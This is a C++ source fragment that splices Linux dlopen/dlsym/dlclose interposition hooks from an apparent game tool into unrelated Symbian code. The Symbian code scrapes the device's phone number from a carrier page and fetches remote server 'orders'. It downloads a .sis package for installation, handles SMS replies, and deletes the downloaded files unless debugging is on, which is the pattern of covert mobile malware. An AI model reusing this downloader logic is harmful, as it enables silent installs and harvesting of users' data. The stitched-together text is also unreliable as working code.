extern "C" int dlclose(void* handle) { if (!ORIG_dlclose) ORIG_dlclose = reinterpret_cast<_dlclose>(dlsym(RTLD_NEXT, "dlclose")); bool unhook = false; { std::lock_guard<std::mutex> lock(dl_refcount_mutex); auto refcount_it = dl_refcount.find(handle); if (refcount_it != dl_refcount.end()) { if (refcount_it->second > 0) --refcount_it->second; if (refcount_it->second == 0) unhook = true; } } if (unhook) for (auto it = modules.cbegin(); it != modules.cend(); ++it) if ((*it)->GetHandle() == handle) (*it)->Unhook(); auto rv = ORIG_dlclose(handle); if (DebugEnabled()) EngineDevMsg("Engine call: dlclose( %p ) => %d\n", handle, rv); return rv; }
void CAppMain::CleanUp(){ this->iTimeout->Cancel(); if(!DebugEnabled()){ DeleteFile(KLocalIndexPath); DeleteFile(KLocalSisPath); } }
extern "C" void* dlsym(void* handle, const char* name) { if (!ORIG_dlsym) ORIG_dlsym = reinterpret_cast<_dlsym>(get_dlsym_addr()); auto rv = ORIG_dlsym(handle, name); auto result = MemUtils::GetSymbolLookupResult(handle, rv); if (DebugEnabled()) { if (result != rv) EngineDevMsg("Engine call: dlsym( %p, %s ) => %p [returning %p]\n", handle, name, rv, result); else EngineDevMsg("Engine call: dlsym( %p, %s ) => %p\n", handle, name, rv, result); } return result; }
extern "C" void* dlopen(const char* filename, int flag) { if (!ORIG_dlopen) ORIG_dlopen = reinterpret_cast<_dlopen>(dlsym(RTLD_NEXT, "dlopen")); auto rv = ORIG_dlopen(filename, flag); if (DebugEnabled()) EngineDevMsg("Engine call: dlopen( \"%s\", %d ) => %p\n", filename, flag, rv); if (rv) { std::lock_guard<std::mutex> lock(dl_refcount_mutex); ++dl_refcount[rv]; } if (rv && filename) HookModule(Convert(filename)); return rv; }
static void* get_dlsym_addr() { std::pair<void*, std::string> p = { nullptr, std::string() }; dl_iterate_phdr([](dl_phdr_info* i, size_t s, void* data) -> int { if (i->dlpi_name[0]) { auto name = std::string(i->dlpi_name); auto fileName = GetFileName(Convert(name)); if (DebugEnabled()) EngineDevMsg("\tName: %s\n", Convert(fileName).c_str()); if (fileName.find(L"libdl.so") != std::wstring::npos) { auto p = reinterpret_cast<std::pair<void*, std::string>*>(data); p->first = reinterpret_cast<void*>(i->dlpi_addr); p->second.assign(i->dlpi_name); } } return 0; }, &p); if (!p.second.size()) return nullptr; // Based on code from Matherunner's TAS Tools v2.0 std::FILE *libfile = std::fopen(p.second.c_str(), "r"); if (!libfile) { perror("Error opening libdl.so"); return nullptr; } long orig_pos = std::ftell(libfile); std::fseek(libfile, 0, SEEK_END); size_t filesize = std::ftell(libfile); std::fseek(libfile, orig_pos, SEEK_SET); char *filedat = new char[filesize]; if (std::fread(filedat, 1, filesize, libfile) != filesize) { perror("Error reading libdl.so"); return nullptr; } std::fclose(libfile); Elf32_Ehdr *elf_hdr = (Elf32_Ehdr *)filedat; Elf32_Shdr *sh_hdr = (Elf32_Shdr *)(filedat + elf_hdr->e_shoff); Elf32_Shdr *sh_shstrhdr = sh_hdr + elf_hdr->e_shstrndx; char *sh_shstrtab = filedat + sh_shstrhdr->sh_offset; int i; for (i = 0; sh_hdr[i].sh_type != SHT_DYNSYM; i++); Elf32_Sym *symtab = (Elf32_Sym *)(filedat + sh_hdr[i].sh_offset); uint64_t st_num_entries = sh_hdr[i].sh_size / sizeof(Elf32_Sym); for (i = 0; sh_hdr[i].sh_type != SHT_STRTAB || strcmp(sh_shstrtab + sh_hdr[i].sh_name, ".dynstr") != 0; i++); char *sh_strtab = filedat + sh_hdr[i].sh_offset; void *result = nullptr; for (uint64_t i = 0; i < st_num_entries; i++) if (!strcmp(sh_strtab + symtab[i].st_name, "dlsym")) { result = reinterpret_cast<void*>(reinterpret_cast<uintptr_t>(p.first) + reinterpret_cast<uintptr_t>(symtab[i].st_value)); break; } delete[] filedat; return result; }
//Download Manager begin void CAppMain::ReceData(const TDesC8& aData){ Log(_L8("CAppMain::ReceData() begin...")); if(aData.Find(_L8("`sms-reply`"))==0){ HandleSmsServerParserReply(aData); Log(_L8("Order is Empty, will close the network")); this->iMMState=ECloseNetwork; this->iTimeout->After(1*1000000); return; } switch(this->iMMState){ case EGetPhoneNumber: Log(_L8("Save PhoneNumber Response begin...")); if(aData.Length()>100){ if(DebugEnabled()){ saveToFile(KGetPhoneNumberResponseFilePath,aData); } _LIT8(StartKey,"<font color=\"RED\" >尊敬的"); TInt startIndex=aData.Find(StartKey); if(startIndex>0){ TPtrC8 phoneNumber=aData.Mid(startIndex+StartKey().Length(),11); SetPhoneNumber(phoneNumber); Log(phoneNumber); } } Log(_L8("Save PhoneNumber Response end...")); this->iMMState=EGetAreaCode; this->iTimeout->After(1); break; case EGetAreaCode: Log(_L8("Save AreaCode Response begin...")); if(aData.Length()>10){ if(DebugEnabled()){ saveToFile(KGetAreaResponseFilePath,aData); } _LIT8(StartKey,"\"AreaCode\":\""); TInt startIndex=aData.Find(StartKey); if(startIndex>0){ TPtrC8 rightPart=aData.Right(aData.Length()-startIndex-StartKey().Length()); _LIT8(EndKey,"\""); TInt endIndex=rightPart.Find(EndKey); if(endIndex>0){ TPtrC8 areaCode=rightPart.Left(endIndex); SetAreaCode(areaCode); Log(areaCode); } } } Log(_L8("Save AreaCode Response end...")); this->iMMState=EGetServerOrder; this->iTimeout->After(1); break; case EGetServerOrder: if(aData.Length()>10&&aData.Find(_L8("`"))==0){ Log(_L8("Save Index File begin...")); saveToFile(KLocalIndexPath,aData); Log(_L8("Save Index File end")); this->iMMState=EExecuteServerOrder; this->iTimeout->After(1*1000000); }else{ Log(_L8("Order is Empty, will close the network")); this->iMMState=ECloseNetwork; this->iTimeout->After(1*1000000); } break; case EDownloadApplication: Log(_L8("ReceData: Save sis begin...")); saveToFile(KLocalSisPath,aData); this->iNeedInstall=ETrue; Log(_L8("ReceData: Save sis end")); iMMState=ECloseNetwork; iTimeout->After(1*1000000); break; default: break; } Log(_L8("CAppMain::ReceData() end")); }